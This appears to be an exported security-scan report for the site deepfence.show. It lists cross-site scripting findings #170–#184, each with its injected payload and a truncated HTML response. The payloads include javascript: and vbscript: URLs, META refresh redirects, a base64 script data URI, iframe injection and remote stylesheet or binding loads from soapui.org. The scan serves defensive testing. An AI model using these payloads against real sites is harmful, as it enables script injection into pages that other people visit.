AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #170
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <LINK REL="stylesheet" HREF="javascript:alert('XSS');
">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #171Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <LINK REL="stylesheet" HREF="http://soapui.org/
xss.css">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #172
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <STYLE>@import'http://soapui.org/xss.css';</STYLE>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #173
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <META HTTP-EQUIV="Link" Content="<http://soapui.org/
xss.css>; REL=stylesheet">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #174
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <STYLE>BODY{-moz-binding:url("http://soapui.org/
xssmoz.xml#xss")}</STYLE>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #175
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <XSS STYLE="behavior: url(xss.htc);">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #176
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</
STYLE><UL><LI>XSS
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #177
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <IMG SRC='vbscript:msgbox("XSS")'>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #178
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <IMG SRC="mocha:[code]">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79Issue Number #179
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <IMG SRC="livescript:[code]">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #180
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ï¿½scriptï¿½alert(ï¿½XSSï¿½)ï¿½/scriptï¿½
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #181
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <META HTTP-EQUIV="refresh" CONTENT="0;url=
javascript:alert('XSS');">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #182
Scan Cross Site Scripting
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;
base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #183
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://
;URL=javascript:alert('XSS');">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #184
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
